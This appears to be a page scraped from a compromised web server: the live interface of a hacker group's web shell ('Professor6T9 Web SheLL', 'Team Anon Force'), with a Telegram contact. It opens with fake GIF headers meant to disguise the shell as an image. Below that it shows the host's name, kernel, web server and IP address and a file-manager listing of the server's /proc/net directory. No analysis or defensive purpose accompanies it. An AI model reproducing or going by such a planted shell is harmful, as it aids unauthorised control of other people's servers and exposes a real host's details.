GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux premium237.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
 LiteSpeed
 66.29.146.201
Name Type Size Owner/Group Permission Last Modified Actions
. dir - samuewbq/samuewbq 0555 2026-01-18 09:12:33
.. dir - samuewbq/samuewbq 0555 2026-01-18 09:12:23
dev_snmp6 dir - root/root 0555 2026-01-18 09:12:33
netfilter dir - root/root 0555 2026-01-18 09:12:33
nfsfs dir - root/root 0555 2026-01-18 09:12:33
rpc dir - root/root 0555 2026-01-18 09:12:33
stat dir - root/root 0555 2026-01-18 09:12:33
anycast6 application/x-empty 0 B root/root 0444 2026-01-18 09:12:33
arp text/plain 0 B root/root 0444 2026-01-18 09:12:33
connector text/plain 0 B root/root 0444 2026-01-18 09:12:33
dev text/plain 0 B root/root 0444 2026-01-18 09:12:33
dev_mcast text/plain 0 B root/root 0444 2026-01-18 09:12:33
fib_trie text/plain 0 B root/root 0444 2026-01-18 09:12:33
fib_triestat text/plain 0 B root/root 0444 2026-01-18 09:12:33
icmp text/plain 0 B root/root 0444 2026-01-18 09:12:33
icmp6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
if_inet6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
igmp text/plain 0 B root/root 0444 2026-01-18 09:12:33
igmp6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
ip6_flowlabel text/plain 0 B root/root 0444 2026-01-18 09:12:33
ip6_mr_cache text/plain 0 B root/root 0444 2026-01-18 09:12:33
ip6_mr_vif text/plain 0 B root/root 0444 2026-01-18 09:12:33
ip_mr_cache text/plain 0 B root/root 0444 2026-01-18 09:12:33
ip_mr_vif text/plain 0 B root/root 0444 2026-01-18 09:12:33
ip_tables_matches 0 B root/root 0440 2026-01-18 09:12:33
ip_tables_names 0 B root/root 0440 2026-01-18 09:12:33
ip_tables_targets 0 B root/root 0440 2026-01-18 09:12:33
ipv6_route text/plain 0 B root/root 0444 2026-01-18 09:12:33
mcfilter text/plain 0 B root/root 0444 2026-01-18 09:12:33
mcfilter6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
netlink text/plain 0 B root/root 0444 2026-01-18 09:12:33
netstat text/plain 0 B root/root 0444 2026-01-18 09:12:33
nf_conntrack 0 B root/root 0440 2026-01-18 09:12:33
nf_conntrack_expect 0 B root/root 0440 2026-01-18 09:12:33
packet text/plain 0 B root/root 0444 2026-01-18 09:12:33
protocols text/plain 0 B root/root 0444 2026-01-18 09:12:33
psched text/plain 0 B root/root 0444 2026-01-18 09:12:33
ptype text/plain 0 B root/root 0444 2026-01-18 09:12:33
raw text/plain 0 B root/root 0444 2026-01-18 09:12:33
raw6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
route text/plain 0 B root/root 0444 2026-01-18 09:12:33
rt6_stats text/plain 0 B root/root 0444 2026-01-18 09:12:33
rt_acct application/octet-stream 0 B root/root 0444 2026-01-18 09:12:33
rt_cache text/plain 0 B root/root 0444 2026-01-18 09:12:33
snmp text/plain 0 B root/root 0444 2026-01-18 09:12:33
snmp6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
sockstat text/plain 0 B root/root 0444 2026-01-18 09:12:33
sockstat6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
softnet_stat text/plain 0 B root/root 0444 2026-01-18 09:12:33
tcp text/plain 0 B root/root 0444 2026-01-18 09:12:33
tcp6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
udp text/plain 0 B root/root 0444 2026-01-18 09:12:33
udp6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
udplite text/plain 0 B root/root 0444 2026-01-18 09:12:33
udplite6 text/plain 0 B root/root 0444 2026-01-18 09:12:33
unix text/plain 0 B root/root 0444 2026-01-18 09:12:33
xfrm_stat text/plain 0 B root/root 0444 2026-01-18 09:12:33
© Professor6T9